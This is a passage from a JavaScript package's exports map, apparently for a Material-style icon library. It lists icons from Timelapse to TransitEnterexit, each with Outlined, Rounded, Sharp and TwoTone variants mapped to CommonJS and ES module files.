\"./TimelapseRounded.js\",\n      \"import\": \"./TimelapseRounded.mjs\",\n      \"default\": \"./TimelapseRounded.mjs\"\n    },\n    \"./TimelapseSharp\": {\n      \"require\": \"./TimelapseSharp.js\",\n      \"import\": \"./TimelapseSharp.mjs\",\n      \"default\": \"./TimelapseSharp.mjs\"\n    },\n    \"./TimelapseTwoTone\": {\n      \"require\": \"./TimelapseTwoTone.js\",\n      \"import\": \"./TimelapseTwoTone.mjs\",\n      \"default\": \"./TimelapseTwoTone.mjs\"\n    },\n    \"./Timeline\": {\n      \"require\": \"./Timeline.js\",\n      \"import\": \"./Timeline.mjs\",\n      \"default\": \"./Timeline.mjs\"\n    },\n    \"./TimelineOutlined\": {\n      \"require\": \"./TimelineOutlined.js\",\n      \"import\": \"./TimelineOutlined.mjs\",\n      \"default\": \"./TimelineOutlined.mjs\"\n    },\n    \"./TimelineRounded\": {\n      \"require\": \"./TimelineRounded.js\",\n      \"import\": \"./TimelineRounded.mjs\",\n      \"default\": \"./TimelineRounded.mjs\"\n    },\n    \"./TimelineSharp\": {\n      \"import\": \"./TimelineSharp.mjs\",\n      \"require\": \"./TimelineSharp.js\",\n      \"default\": \"./TimelineSharp.mjs\"\n    },\n    \"./TimelineTwoTone\": {\n      \"import\": \"./TimelineTwoTone.mjs\",\n      \"require\": \"./TimelineTwoTone.js\",\n      \"default\": \"./TimelineTwoTone.mjs\"\n    },\n    \"./Timer\": {\n      \"import\": \"./Timer.mjs\",\n      \"require\": \"./Timer.js\",\n      \"default\": \"./Timer.mjs\"\n    },\n    \"./Timer10\": {\n      \"import\": \"./Timer10.mjs\",\n      \"require\": \"./Timer10.js\",\n      \"default\": \"./Timer10.mjs\"\n    },\n    \"./Timer10Outlined\": {\n      \"require\": \"./Timer10Outlined.js\",\n      \"import\": \"./Timer10Outlined.mjs\",\n      \"default\": \"./Timer10Outlined.mjs\"\n    },\n    \"./Timer10Rounded\": {\n      \"require\": \"./Timer10Rounded.js\",\n      \"import\": \"./Timer10Rounded.mjs\",\n      \"default\": \"./Timer10Rounded.mjs\"\n    },\n    \"./Timer10Select\": {\n      \"require\": \"./Timer10Select.js\",\n      \"import\": \"./Timer10Select.mjs\",\n      \"default\": \"./Timer10Select.mjs\"\n    },\n    \"./Timer10SelectOutlined\": {\n      \"require\": \"./Timer10SelectOutlined.js\",\n      \"import\": \"./Timer10SelectOutlined.mjs\",\n      \"default\": \"./Timer10SelectOutlined.mjs\"\n    },\n    \"./Timer10SelectRounded\": {\n      \"require\": \"./Timer10SelectRounded.js\",\n      \"import\": \"./Timer10SelectRounded.mjs\",\n      \"default\": \"./Timer10SelectRounded.mjs\"\n    },\n    \"./Timer10SelectSharp\": {\n      \"require\": \"./Timer10SelectSharp.js\",\n      \"import\": \"./Timer10SelectSharp.mjs\",\n      \"default\": \"./Timer10SelectSharp.mjs\"\n    },\n    \"./Timer10SelectTwoTone\": {\n      \"require\": \"./Timer10SelectTwoTone.js\",\n      \"import\": \"./Timer10SelectTwoTone.mjs\",\n      \"default\": \"./Timer10SelectTwoTone.mjs\"\n    },\n    \"./Timer10Sharp\": {\n      \"require\": \"./Timer10Sharp.js\",\n      \"import\": \"./Timer10Sharp.mjs\",\n      \"default\": \"./Timer10Sharp.mjs\"\n    },\n    \"./Timer10TwoTone\": {\n      \"require\": \"./Timer10TwoTone.js\",\n      \"import\": \"./Timer10TwoTone.mjs\",\n      \"default\": \"./Timer10TwoTone.mjs\"\n    },\n    \"./Timer3\": {\n      \"require\": \"./Timer3.js\",\n      \"import\": \"./Timer3.mjs\",\n      \"default\": \"./Timer3.mjs\"\n    },\n    \"./Timer3Outlined\": {\n      \"require\": \"./Timer3Outlined.js\",\n      \"import\": \"./Timer3Outlined.mjs\",\n      \"default\": \"./Timer3Outlined.mjs\"\n    },\n    \"./Timer3Rounded\": {\n      \"require\": \"./Timer3Rounded.js\",\n      \"import\": \"./Timer3Rounded.mjs\",\n      \"default\": \"./Timer3Rounded.mjs\"\n    },\n    \"./Timer3Select\": {\n      \"require\": \"./Timer3Select.js\",\n      \"import\": \"./Timer3Select.mjs\",\n      \"default\": \"./Timer3Select.mjs\"\n    },\n    \"./Timer3SelectOutlined\": {\n      \"import\": \"./Timer3SelectOutlined.mjs\",\n      \"require\": \"./Timer3SelectOutlined.js\",\n      \"default\": \"./Timer3SelectOutlined.mjs\"\n    },\n    \"./Timer3SelectRounded\": {\n      \"import\": \"./Timer3SelectRounded.mjs\",\n      \"require\": \"./Timer3SelectRounded.js\",\n      \"default\": \"./Timer3SelectRounded.mjs\"\n    },\n    \"./Timer3SelectSharp\": {\n      \"require\": \"./Timer3SelectSharp.js\",\n      \"import\": \"./Timer3SelectSharp.mjs\",\n      \"default\": \"./Timer3SelectSharp.mjs\"\n    },\n    \"./Timer3SelectTwoTone\": {\n      \"require\": \"./Timer3SelectTwoTone.js\",\n      \"import\": \"./Timer3SelectTwoTone.mjs\",\n      \"default\": \"./Timer3SelectTwoTone.mjs\"\n    },\n    \"./Timer3Sharp\": {\n      \"import\": \"./Timer3Sharp.mjs\",\n      \"require\": \"./Timer3Sharp.js\",\n      \"default\": \"./Timer3Sharp.mjs\"\n    },\n    \"./Timer3TwoTone\": {\n      \"require\": \"./Timer3TwoTone.js\",\n      \"import\": \"./Timer3TwoTone.mjs\",\n      \"default\": \"./Timer3TwoTone.mjs\"\n    },\n    \"./TimerOff\": {\n      \"require\": \"./TimerOff.js\",\n      \"import\": \"./TimerOff.mjs\",\n      \"default\": \"./TimerOff.mjs\"\n    },\n    \"./TimerOffOutlined\": {\n      \"require\": \"./TimerOffOutlined.js\",\n      \"import\": \"./TimerOffOutlined.mjs\",\n      \"default\": \"./TimerOffOutlined.mjs\"\n    },\n    \"./TimerOffRounded\": {\n      \"require\": \"./TimerOffRounded.js\",\n      \"import\": \"./TimerOffRounded.mjs\",\n      \"default\": \"./TimerOffRounded.mjs\"\n    },\n    \"./TimerOffSharp\": {\n      \"require\": \"./TimerOffSharp.js\",\n      \"import\": \"./TimerOffSharp.mjs\",\n      \"default\": \"./TimerOffSharp.mjs\"\n    },\n    \"./TimerOffTwoTone\": {\n      \"require\": \"./TimerOffTwoTone.js\",\n      \"import\": \"./TimerOffTwoTone.mjs\",\n      \"default\": \"./TimerOffTwoTone.mjs\"\n    },\n    \"./TimerOutlined\": {\n      \"require\": \"./TimerOutlined.js\",\n      \"import\": \"./TimerOutlined.mjs\",\n      \"default\": \"./TimerOutlined.mjs\"\n    },\n    \"./TimerRounded\": {\n      \"require\": \"./TimerRounded.js\",\n      \"import\": \"./TimerRounded.mjs\",\n      \"default\": \"./TimerRounded.mjs\"\n    },\n    \"./TimerSharp\": {\n      \"require\": \"./TimerSharp.js\",\n      \"import\": \"./TimerSharp.mjs\",\n      \"default\": \"./TimerSharp.mjs\"\n    },\n    \"./TimerTwoTone\": {\n      \"require\": \"./TimerTwoTone.js\",\n      \"import\": \"./TimerTwoTone.mjs\",\n      \"default\": \"./TimerTwoTone.mjs\"\n    },\n    \"./TimesOneMobiledata\": {\n      \"require\": \"./TimesOneMobiledata.js\",\n      \"import\": \"./TimesOneMobiledata.mjs\",\n      \"default\": \"./TimesOneMobiledata.mjs\"\n    },\n    \"./TimesOneMobiledataOutlined\": {\n      \"require\": \"./TimesOneMobiledataOutlined.js\",\n      \"import\": \"./TimesOneMobiledataOutlined.mjs\",\n      \"default\": \"./TimesOneMobiledataOutlined.mjs\"\n    },\n    \"./TimesOneMobiledataRounded\": {\n      \"require\": \"./TimesOneMobiledataRounded.js\",\n      \"import\": \"./TimesOneMobiledataRounded.mjs\",\n      \"default\": \"./TimesOneMobiledataRounded.mjs\"\n    },\n    \"./TimesOneMobiledataSharp\": {\n      \"require\": \"./TimesOneMobiledataSharp.js\",\n      \"import\": \"./TimesOneMobiledataSharp.mjs\",\n      \"default\": \"./TimesOneMobiledataSharp.mjs\"\n    },\n    \"./TimesOneMobiledataTwoTone\": {\n      \"import\": \"./TimesOneMobiledataTwoTone.mjs\",\n      \"require\": \"./TimesOneMobiledataTwoTone.js\",\n      \"default\": \"./TimesOneMobiledataTwoTone.mjs\"\n    },\n    \"./TipsAndUpdates\": {\n      \"import\": \"./TipsAndUpdates.mjs\",\n      \"require\": \"./TipsAndUpdates.js\",\n      \"default\": \"./TipsAndUpdates.mjs\"\n    },\n    \"./TipsAndUpdatesOutlined\": {\n      \"import\": \"./TipsAndUpdatesOutlined.mjs\",\n      \"require\": \"./TipsAndUpdatesOutlined.js\",\n      \"default\": \"./TipsAndUpdatesOutlined.mjs\"\n    },\n    \"./TipsAndUpdatesRounded\": {\n      \"import\": \"./TipsAndUpdatesRounded.mjs\",\n      \"require\": \"./TipsAndUpdatesRounded.js\",\n      \"default\": \"./TipsAndUpdatesRounded.mjs\"\n    },\n    \"./TipsAndUpdatesSharp\": {\n      \"import\": \"./TipsAndUpdatesSharp.mjs\",\n      \"require\": \"./TipsAndUpdatesSharp.js\",\n      \"default\": \"./TipsAndUpdatesSharp.mjs\"\n    },\n    \"./TipsAndUpdatesTwoTone\": {\n      \"import\": \"./TipsAndUpdatesTwoTone.mjs\",\n      \"require\": \"./TipsAndUpdatesTwoTone.js\",\n      \"default\": \"./TipsAndUpdatesTwoTone.mjs\"\n    },\n    \"./TireRepair\": {\n      \"import\": \"./TireRepair.mjs\",\n      \"require\": \"./TireRepair.js\",\n      \"default\": \"./TireRepair.mjs\"\n    },\n    \"./TireRepairOutlined\": {\n      \"import\": \"./TireRepairOutlined.mjs\",\n      \"require\": \"./TireRepairOutlined.js\",\n      \"default\": \"./TireRepairOutlined.mjs\"\n    },\n    \"./TireRepairRounded\": {\n      \"require\": \"./TireRepairRounded.js\",\n      \"import\": \"./TireRepairRounded.mjs\",\n      \"default\": \"./TireRepairRounded.mjs\"\n    },\n    \"./TireRepairSharp\": {\n      \"require\": \"./TireRepairSharp.js\",\n      \"import\": \"./TireRepairSharp.mjs\",\n      \"default\": \"./TireRepairSharp.mjs\"\n    },\n    \"./TireRepairTwoTone\": {\n      \"require\": \"./TireRepairTwoTone.js\",\n      \"import\": \"./TireRepairTwoTone.mjs\",\n      \"default\": \"./TireRepairTwoTone.mjs\"\n    },\n    \"./Title\": {\n      \"require\": \"./Title.js\",\n      \"import\": \"./Title.mjs\",\n      \"default\": \"./Title.mjs\"\n    },\n    \"./TitleOutlined\": {\n      \"require\": \"./TitleOutlined.js\",\n      \"import\": \"./TitleOutlined.mjs\",\n      \"default\": \"./TitleOutlined.mjs\"\n    },\n    \"./TitleRounded\": {\n      \"require\": \"./TitleRounded.js\",\n      \"import\": \"./TitleRounded.mjs\",\n      \"default\": \"./TitleRounded.mjs\"\n    },\n    \"./TitleSharp\": {\n      \"require\": \"./TitleSharp.js\",\n      \"import\": \"./TitleSharp.mjs\",\n      \"default\": \"./TitleSharp.mjs\"\n    },\n    \"./TitleTwoTone\": {\n      \"require\": \"./TitleTwoTone.js\",\n      \"import\": \"./TitleTwoTone.mjs\",\n      \"default\": \"./TitleTwoTone.mjs\"\n    },\n    \"./Toc\": {\n      \"import\": \"./Toc.mjs\",\n      \"require\": \"./Toc.js\",\n      \"default\": \"./Toc.mjs\"\n    },\n    \"./TocOutlined\": {\n      \"import\": \"./TocOutlined.mjs\",\n      \"require\": \"./TocOutlined.js\",\n      \"default\": \"./TocOutlined.mjs\"\n    },\n    \"./TocRounded\": {\n      \"import\": \"./TocRounded.mjs\",\n      \"require\": \"./TocRounded.js\",\n      \"default\": \"./TocRounded.mjs\"\n    },\n    \"./TocSharp\": {\n      \"import\": \"./TocSharp.mjs\",\n      \"require\": \"./TocSharp.js\",\n      \"default\": \"./TocSharp.mjs\"\n    },\n    \"./TocTwoTone\": {\n      \"import\": \"./TocTwoTone.mjs\",\n      \"require\": \"./TocTwoTone.js\",\n      \"default\": \"./TocTwoTone.mjs\"\n    },\n    \"./Today\": {\n      \"import\": \"./Today.mjs\",\n      \"require\": \"./Today.js\",\n      \"default\": \"./Today.mjs\"\n    },\n    \"./TodayOutlined\": {\n      \"import\": \"./TodayOutlined.mjs\",\n      \"require\": \"./TodayOutlined.js\",\n      \"default\": \"./TodayOutlined.mjs\"\n    },\n    \"./TodayRounded\": {\n      \"import\": \"./TodayRounded.mjs\",\n      \"require\": \"./TodayRounded.js\",\n      \"default\": \"./TodayRounded.mjs\"\n    },\n    \"./TodaySharp\": {\n      \"import\": \"./TodaySharp.mjs\",\n      \"require\": \"./TodaySharp.js\",\n      \"default\": \"./TodaySharp.mjs\"\n    },\n    \"./TodayTwoTone\": {\n      \"import\": \"./TodayTwoTone.mjs\",\n      \"require\": \"./TodayTwoTone.js\",\n      \"default\": \"./TodayTwoTone.mjs\"\n    },\n    \"./ToggleOff\": {\n      \"import\": \"./ToggleOff.mjs\",\n      \"require\": \"./ToggleOff.js\",\n      \"default\": \"./ToggleOff.mjs\"\n    },\n    \"./ToggleOffOutlined\": {\n      \"import\": \"./ToggleOffOutlined.mjs\",\n      \"require\": \"./ToggleOffOutlined.js\",\n      \"default\": \"./ToggleOffOutlined.mjs\"\n    },\n    \"./ToggleOffRounded\": {\n      \"import\": \"./ToggleOffRounded.mjs\",\n      \"require\": \"./ToggleOffRounded.js\",\n      \"default\": \"./ToggleOffRounded.mjs\"\n    },\n    \"./ToggleOffSharp\": {\n      \"import\": \"./ToggleOffSharp.mjs\",\n      \"require\": \"./ToggleOffSharp.js\",\n      \"default\": \"./ToggleOffSharp.mjs\"\n    },\n    \"./ToggleOffTwoTone\": {\n      \"import\": \"./ToggleOffTwoTone.mjs\",\n      \"require\": \"./ToggleOffTwoTone.js\",\n      \"default\": \"./ToggleOffTwoTone.mjs\"\n    },\n    \"./ToggleOn\": {\n      \"import\": \"./ToggleOn.mjs\",\n      \"require\": \"./ToggleOn.js\",\n      \"default\": \"./ToggleOn.mjs\"\n    },\n    \"./ToggleOnOutlined\": {\n      \"import\": \"./ToggleOnOutlined.mjs\",\n      \"require\": \"./ToggleOnOutlined.js\",\n      \"default\": \"./ToggleOnOutlined.mjs\"\n    },\n    \"./ToggleOnRounded\": {\n      \"import\": \"./ToggleOnRounded.mjs\",\n      \"require\": \"./ToggleOnRounded.js\",\n      \"default\": \"./ToggleOnRounded.mjs\"\n    },\n    \"./ToggleOnSharp\": {\n      \"import\": \"./ToggleOnSharp.mjs\",\n      \"require\": \"./ToggleOnSharp.js\",\n      \"default\": \"./ToggleOnSharp.mjs\"\n    },\n    \"./ToggleOnTwoTone\": {\n      \"require\": \"./ToggleOnTwoTone.js\",\n      \"import\": \"./ToggleOnTwoTone.mjs\",\n      \"default\": \"./ToggleOnTwoTone.mjs\"\n    },\n    \"./Token\": {\n      \"require\": \"./Token.js\",\n      \"import\": \"./Token.mjs\",\n      \"default\": \"./Token.mjs\"\n    },\n    \"./TokenOutlined\": {\n      \"require\": \"./TokenOutlined.js\",\n      \"import\": \"./TokenOutlined.mjs\",\n      \"default\": \"./TokenOutlined.mjs\"\n    },\n    \"./TokenRounded\": {\n      \"require\": \"./TokenRounded.js\",\n      \"import\": \"./TokenRounded.mjs\",\n      \"default\": \"./TokenRounded.mjs\"\n    },\n    \"./TokenSharp\": {\n      \"import\": \"./TokenSharp.mjs\",\n      \"require\": \"./TokenSharp.js\",\n      \"default\": \"./TokenSharp.mjs\"\n    },\n    \"./TokenTwoTone\": {\n      \"import\": \"./TokenTwoTone.mjs\",\n      \"require\": \"./TokenTwoTone.js\",\n      \"default\": \"./TokenTwoTone.mjs\"\n    },\n    \"./Toll\": {\n      \"import\": \"./Toll.mjs\",\n      \"require\": \"./Toll.js\",\n      \"default\": \"./Toll.mjs\"\n    },\n    \"./TollOutlined\": {\n      \"import\": \"./TollOutlined.mjs\",\n      \"require\": \"./TollOutlined.js\",\n      \"default\": \"./TollOutlined.mjs\"\n    },\n    \"./TollRounded\": {\n      \"require\": \"./TollRounded.js\",\n      \"import\": \"./TollRounded.mjs\",\n      \"default\": \"./TollRounded.mjs\"\n    },\n    \"./TollSharp\": {\n      \"require\": \"./TollSharp.js\",\n      \"import\": \"./TollSharp.mjs\",\n      \"default\": \"./TollSharp.mjs\"\n    },\n    \"./TollTwoTone\": {\n      \"require\": \"./TollTwoTone.js\",\n      \"import\": \"./TollTwoTone.mjs\",\n      \"default\": \"./TollTwoTone.mjs\"\n    },\n    \"./Tonality\": {\n      \"require\": \"./Tonality.js\",\n      \"import\": \"./Tonality.mjs\",\n      \"default\": \"./Tonality.mjs\"\n    },\n    \"./TonalityOutlined\": {\n      \"import\": \"./TonalityOutlined.mjs\",\n      \"require\": \"./TonalityOutlined.js\",\n      \"default\": \"./TonalityOutlined.mjs\"\n    },\n    \"./TonalityRounded\": {\n      \"import\": \"./TonalityRounded.mjs\",\n      \"require\": \"./TonalityRounded.js\",\n      \"default\": \"./TonalityRounded.mjs\"\n    },\n    \"./TonalitySharp\": {\n      \"import\": \"./TonalitySharp.mjs\",\n      \"require\": \"./TonalitySharp.js\",\n      \"default\": \"./TonalitySharp.mjs\"\n    },\n    \"./TonalityTwoTone\": {\n      \"import\": \"./TonalityTwoTone.mjs\",\n      \"require\": \"./TonalityTwoTone.js\",\n      \"default\": \"./TonalityTwoTone.mjs\"\n    },\n    \"./Topic\": {\n      \"require\": \"./Topic.js\",\n      \"import\": \"./Topic.mjs\",\n      \"default\": \"./Topic.mjs\"\n    },\n    \"./TopicOutlined\": {\n      \"require\": \"./TopicOutlined.js\",\n      \"import\": \"./TopicOutlined.mjs\",\n      \"default\": \"./TopicOutlined.mjs\"\n    },\n    \"./TopicRounded\": {\n      \"require\": \"./TopicRounded.js\",\n      \"import\": \"./TopicRounded.mjs\",\n      \"default\": \"./TopicRounded.mjs\"\n    },\n    \"./TopicSharp\": {\n      \"require\": \"./TopicSharp.js\",\n      \"import\": \"./TopicSharp.mjs\",\n      \"default\": \"./TopicSharp.mjs\"\n    },\n    \"./TopicTwoTone\": {\n      \"require\": \"./TopicTwoTone.js\",\n      \"import\": \"./TopicTwoTone.mjs\",\n      \"default\": \"./TopicTwoTone.mjs\"\n    },\n    \"./Tornado\": {\n      \"require\": \"./Tornado.js\",\n      \"import\": \"./Tornado.mjs\",\n      \"default\": \"./Tornado.mjs\"\n    },\n    \"./TornadoOutlined\": {\n      \"require\": \"./TornadoOutlined.js\",\n      \"import\": \"./TornadoOutlined.mjs\",\n      \"default\": \"./TornadoOutlined.mjs\"\n    },\n    \"./TornadoRounded\": {\n      \"require\": \"./TornadoRounded.js\",\n      \"import\": \"./TornadoRounded.mjs\",\n      \"default\": \"./TornadoRounded.mjs\"\n    },\n    \"./TornadoSharp\": {\n      \"require\": \"./TornadoSharp.js\",\n      \"import\": \"./TornadoSharp.mjs\",\n      \"default\": \"./TornadoSharp.mjs\"\n    },\n    \"./TornadoTwoTone\": {\n      \"require\": \"./TornadoTwoTone.js\",\n      \"import\": \"./TornadoTwoTone.mjs\",\n      \"default\": \"./TornadoTwoTone.mjs\"\n    },\n    \"./TouchApp\": {\n      \"require\": \"./TouchApp.js\",\n      \"import\": \"./TouchApp.mjs\",\n      \"default\": \"./TouchApp.mjs\"\n    },\n    \"./TouchAppOutlined\": {\n      \"require\": \"./TouchAppOutlined.js\",\n      \"import\": \"./TouchAppOutlined.mjs\",\n      \"default\": \"./TouchAppOutlined.mjs\"\n    },\n    \"./TouchAppRounded\": {\n      \"require\": \"./TouchAppRounded.js\",\n      \"import\": \"./TouchAppRounded.mjs\",\n      \"default\": \"./TouchAppRounded.mjs\"\n    },\n    \"./TouchAppSharp\": {\n      \"import\": \"./TouchAppSharp.mjs\",\n      \"require\": \"./TouchAppSharp.js\",\n      \"default\": \"./TouchAppSharp.mjs\"\n    },\n    \"./TouchAppTwoTone\": {\n      \"import\": \"./TouchAppTwoTone.mjs\",\n      \"require\": \"./TouchAppTwoTone.js\",\n      \"default\": \"./TouchAppTwoTone.mjs\"\n    },\n    \"./Tour\": {\n      \"import\": \"./Tour.mjs\",\n      \"require\": \"./Tour.js\",\n      \"default\": \"./Tour.mjs\"\n    },\n    \"./TourOutlined\": {\n      \"import\": \"./TourOutlined.mjs\",\n      \"require\": \"./TourOutlined.js\",\n      \"default\": \"./TourOutlined.mjs\"\n    },\n    \"./TourRounded\": {\n      \"import\": \"./TourRounded.mjs\",\n      \"require\": \"./TourRounded.js\",\n      \"default\": \"./TourRounded.mjs\"\n    },\n    \"./TourSharp\": {\n      \"import\": \"./TourSharp.mjs\",\n      \"require\": \"./TourSharp.js\",\n      \"default\": \"./TourSharp.mjs\"\n    },\n    \"./TourTwoTone\": {\n      \"import\": \"./TourTwoTone.mjs\",\n      \"require\": \"./TourTwoTone.js\",\n      \"default\": \"./TourTwoTone.mjs\"\n    },\n    \"./Toys\": {\n      \"import\": \"./Toys.mjs\",\n      \"require\": \"./Toys.js\",\n      \"default\": \"./Toys.mjs\"\n    },\n    \"./ToysOutlined\": {\n      \"import\": \"./ToysOutlined.mjs\",\n      \"require\": \"./ToysOutlined.js\",\n      \"default\": \"./ToysOutlined.mjs\"\n    },\n    \"./ToysRounded\": {\n      \"import\": \"./ToysRounded.mjs\",\n      \"require\": \"./ToysRounded.js\",\n      \"default\": \"./ToysRounded.mjs\"\n    },\n    \"./ToysSharp\": {\n      \"import\": \"./ToysSharp.mjs\",\n      \"require\": \"./ToysSharp.js\",\n      \"default\": \"./ToysSharp.mjs\"\n    },\n    \"./ToysTwoTone\": {\n      \"import\": \"./ToysTwoTone.mjs\",\n      \"require\": \"./ToysTwoTone.js\",\n      \"default\": \"./ToysTwoTone.mjs\"\n    },\n    \"./TrackChanges\": {\n      \"import\": \"./TrackChanges.mjs\",\n      \"require\": \"./TrackChanges.js\",\n      \"default\": \"./TrackChanges.mjs\"\n    },\n    \"./TrackChangesOutlined\": {\n      \"import\": \"./TrackChangesOutlined.mjs\",\n      \"require\": \"./TrackChangesOutlined.js\",\n      \"default\": \"./TrackChangesOutlined.mjs\"\n    },\n    \"./TrackChangesRounded\": {\n      \"import\": \"./TrackChangesRounded.mjs\",\n      \"require\": \"./TrackChangesRounded.js\",\n      \"default\": \"./TrackChangesRounded.mjs\"\n    },\n    \"./TrackChangesSharp\": {\n      \"import\": \"./TrackChangesSharp.mjs\",\n      \"require\": \"./TrackChangesSharp.js\",\n      \"default\": \"./TrackChangesSharp.mjs\"\n    },\n    \"./TrackChangesTwoTone\": {\n      \"import\": \"./TrackChangesTwoTone.mjs\",\n      \"require\": \"./TrackChangesTwoTone.js\",\n      \"default\": \"./TrackChangesTwoTone.mjs\"\n    },\n    \"./Traffic\": {\n      \"import\": \"./Traffic.mjs\",\n      \"require\": \"./Traffic.js\",\n      \"default\": \"./Traffic.mjs\"\n    },\n    \"./TrafficOutlined\": {\n      \"import\": \"./TrafficOutlined.mjs\",\n      \"require\": \"./TrafficOutlined.js\",\n      \"default\": \"./TrafficOutlined.mjs\"\n    },\n    \"./TrafficRounded\": {\n      \"import\": \"./TrafficRounded.mjs\",\n      \"require\": \"./TrafficRounded.js\",\n      \"default\": \"./TrafficRounded.mjs\"\n    },\n    \"./TrafficSharp\": {\n      \"import\": \"./TrafficSharp.mjs\",\n      \"require\": \"./TrafficSharp.js\",\n      \"default\": \"./TrafficSharp.mjs\"\n    },\n    \"./TrafficTwoTone\": {\n      \"import\": \"./TrafficTwoTone.mjs\",\n      \"require\": \"./TrafficTwoTone.js\",\n      \"default\": \"./TrafficTwoTone.mjs\"\n    },\n    \"./Train\": {\n      \"import\": \"./Train.mjs\",\n      \"require\": \"./Train.js\",\n      \"default\": \"./Train.mjs\"\n    },\n    \"./TrainOutlined\": {\n      \"import\": \"./TrainOutlined.mjs\",\n      \"require\": \"./TrainOutlined.js\",\n      \"default\": \"./TrainOutlined.mjs\"\n    },\n    \"./TrainRounded\": {\n      \"import\": \"./TrainRounded.mjs\",\n      \"require\": \"./TrainRounded.js\",\n      \"default\": \"./TrainRounded.mjs\"\n    },\n    \"./TrainSharp\": {\n      \"import\": \"./TrainSharp.mjs\",\n      \"require\": \"./TrainSharp.js\",\n      \"default\": \"./TrainSharp.mjs\"\n    },\n    \"./TrainTwoTone\": {\n      \"import\": \"./TrainTwoTone.mjs\",\n      \"require\": \"./TrainTwoTone.js\",\n      \"default\": \"./TrainTwoTone.mjs\"\n    },\n    \"./Tram\": {\n      \"import\": \"./Tram.mjs\",\n      \"require\": \"./Tram.js\",\n      \"default\": \"./Tram.mjs\"\n    },\n    \"./TramOutlined\": {\n      \"import\": \"./TramOutlined.mjs\",\n      \"require\": \"./TramOutlined.js\",\n      \"default\": \"./TramOutlined.mjs\"\n    },\n    \"./TramRounded\": {\n      \"require\": \"./TramRounded.js\",\n      \"import\": \"./TramRounded.mjs\",\n      \"default\": \"./TramRounded.mjs\"\n    },\n    \"./TramSharp\": {\n      \"require\": \"./TramSharp.js\",\n      \"import\": \"./TramSharp.mjs\",\n      \"default\": \"./TramSharp.mjs\"\n    },\n    \"./TramTwoTone\": {\n      \"require\": \"./TramTwoTone.js\",\n      \"import\": \"./TramTwoTone.mjs\",\n      \"default\": \"./TramTwoTone.mjs\"\n    },\n    \"./Transcribe\": {\n      \"require\": \"./Transcribe.js\",\n      \"import\": \"./Transcribe.mjs\",\n      \"default\": \"./Transcribe.mjs\"\n    },\n    \"./TranscribeOutlined\": {\n      \"require\": \"./TranscribeOutlined.js\",\n      \"import\": \"./TranscribeOutlined.mjs\",\n      \"default\": \"./TranscribeOutlined.mjs\"\n    },\n    \"./TranscribeRounded\": {\n      \"require\": \"./TranscribeRounded.js\",\n      \"import\": \"./TranscribeRounded.mjs\",\n      \"default\": \"./TranscribeRounded.mjs\"\n    },\n    \"./TranscribeSharp\": {\n      \"require\": \"./TranscribeSharp.js\",\n      \"import\": \"./TranscribeSharp.mjs\",\n      \"default\": \"./TranscribeSharp.mjs\"\n    },\n    \"./TranscribeTwoTone\": {\n      \"require\": \"./TranscribeTwoTone.js\",\n      \"import\": \"./TranscribeTwoTone.mjs\",\n      \"default\": \"./TranscribeTwoTone.mjs\"\n    },\n    \"./TransferWithinAStation\": {\n      \"require\": \"./TransferWithinAStation.js\",\n      \"import\": \"./TransferWithinAStation.mjs\",\n      \"default\": \"./TransferWithinAStation.mjs\"\n    },\n    \"./TransferWithinAStationOutlined\": {\n      \"require\": \"./TransferWithinAStationOutlined.js\",\n      \"import\": \"./TransferWithinAStationOutlined.mjs\",\n      \"default\": \"./TransferWithinAStationOutlined.mjs\"\n    },\n    \"./TransferWithinAStationRounded\": {\n      \"require\": \"./TransferWithinAStationRounded.js\",\n      \"import\": \"./TransferWithinAStationRounded.mjs\",\n      \"default\": \"./TransferWithinAStationRounded.mjs\"\n    },\n    \"./TransferWithinAStationSharp\": {\n      \"require\": \"./TransferWithinAStationSharp.js\",\n      \"import\": \"./TransferWithinAStationSharp.mjs\",\n      \"default\": \"./TransferWithinAStationSharp.mjs\"\n    },\n    \"./TransferWithinAStationTwoTone\": {\n      \"require\": \"./TransferWithinAStationTwoTone.js\",\n      \"import\": \"./TransferWithinAStationTwoTone.mjs\",\n      \"default\": \"./TransferWithinAStationTwoTone.mjs\"\n    },\n    \"./Transform\": {\n      \"require\": \"./Transform.js\",\n      \"import\": \"./Transform.mjs\",\n      \"default\": \"./Transform.mjs\"\n    },\n    \"./TransformOutlined\": {\n      \"require\": \"./TransformOutlined.js\",\n      \"import\": \"./TransformOutlined.mjs\",\n      \"default\": \"./TransformOutlined.mjs\"\n    },\n    \"./TransformRounded\": {\n      \"require\": \"./TransformRounded.js\",\n      \"import\": \"./TransformRounded.mjs\",\n      \"default\": \"./TransformRounded.mjs\"\n    },\n    \"./TransformSharp\": {\n      \"require\": \"./TransformSharp.js\",\n      \"import\": \"./TransformSharp.mjs\",\n      \"default\": \"./TransformSharp.mjs\"\n    },\n    \"./TransformTwoTone\": {\n      \"require\": \"./TransformTwoTone.js\",\n      \"import\": \"./TransformTwoTone.mjs\",\n      \"default\": \"./TransformTwoTone.mjs\"\n    },\n    \"./Transgender\": {\n      \"require\": \"./Transgender.js\",\n      \"import\": \"./Transgender.mjs\",\n      \"default\": \"./Transgender.mjs\"\n    },\n    \"./TransgenderOutlined\": {\n      \"require\": \"./TransgenderOutlined.js\",\n      \"import\": \"./TransgenderOutlined.mjs\",\n      \"default\": \"./TransgenderOutlined.mjs\"\n    },\n    \"./TransgenderRounded\": {\n      \"require\": \"./TransgenderRounded.js\",\n      \"import\": \"./TransgenderRounded.mjs\",\n      \"default\": \"./TransgenderRounded.mjs\"\n    },\n    \"./TransgenderSharp\": {\n      \"require\": \"./TransgenderSharp.js\",\n      \"import\": \"./TransgenderSharp.mjs\",\n      \"default\": \"./TransgenderSharp.mjs\"\n    },\n    \"./TransgenderTwoTone\": {\n      \"import\": \"./TransgenderTwoTone.mjs\",\n      \"require\": \"./TransgenderTwoTone.js\",\n      \"default\": \"./TransgenderTwoTone.mjs\"\n    },\n    \"./TransitEnterexit\": {\n      \"import\": \"./TransitEnterexit.mjs\",\n      \"require\": \"./TransitEnterexit.js\",\n      \"default\": \"./TransitEnterexit.mjs\"\n    },\n    \"./TransitEnterexitOutlined\": {\n      \"import\": \"./TransitEnterexitOutlined.mjs\",\n      \"require\": \"./TransitEnterexitOutlined.js\",\n      \"default\": \"./TransitEnterexitOutlined.mjs\"\n    },\n    \"./TransitEnterexitRounded\": {\n      \"import\": \"./TransitEnterexitRounded.mjs\",\n      \"require\": \"./TransitEnterexitRounded.js\",\n      \"default\": \"./TransitEnterexitRounded.mjs\"\n    },\n    \"./TransitEnterexitSharp\": {\n      \"import\": \"./TransitEnterexitSharp.mjs\",\n      \"require\": \"./TransitEnterexitSharp.js\",\n      \"default\": \"./TransitEnterexitSharp.mjs\"\n    },\n    